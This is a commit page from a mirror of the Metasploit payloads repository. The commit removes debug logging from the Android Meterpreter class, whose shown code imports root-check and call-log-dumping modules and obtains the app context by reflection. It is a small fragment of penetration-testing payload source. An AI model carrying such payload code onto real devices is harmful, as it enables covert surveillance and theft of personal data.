1
mirror of https://github.com/rapid7/metasploit-payloads synced 2024-12-21 05:35:54 +01:00

remove logging

This commit is contained in:
Tim 2014-12-01 03:17:12 +00:00
parent 0f2d9aca95
commit 29aaec7188

View File

@ -3,7 +3,6 @@ package com.metasploit.meterpreter;
import android.content.Context;
import android.os.Handler;
import android.os.Looper;
import android.util.Log;
import com.metasploit.meterpreter.android.check_root_android;
import com.metasploit.meterpreter.android.dump_calllog_android;
@ -54,7 +53,6 @@ public class AndroidMeterpreter extends Meterpreter {
final Class<?> activityThreadClass = Class.forName("android.app.ActivityThread");
final Method currentApplication = activityThreadClass.getMethod("currentApplication");
context = (Context) currentApplication.invoke(null, (Object[]) null);
Log.e(getClass().getName(), "context " + context);
if (context == null) {
Handler handler = new Handler(Looper.getMainLooper());
handler.post(new Runnable() {
@ -62,7 +60,6 @@ public class AndroidMeterpreter extends Meterpreter {
public void run() {
try {
context = (Context) currentApplication.invoke(null, (Object[]) null);
Log.e(getClass().getName(), "curcontext " + context);
} catch (Exception e) {
e.printStackTrace();
}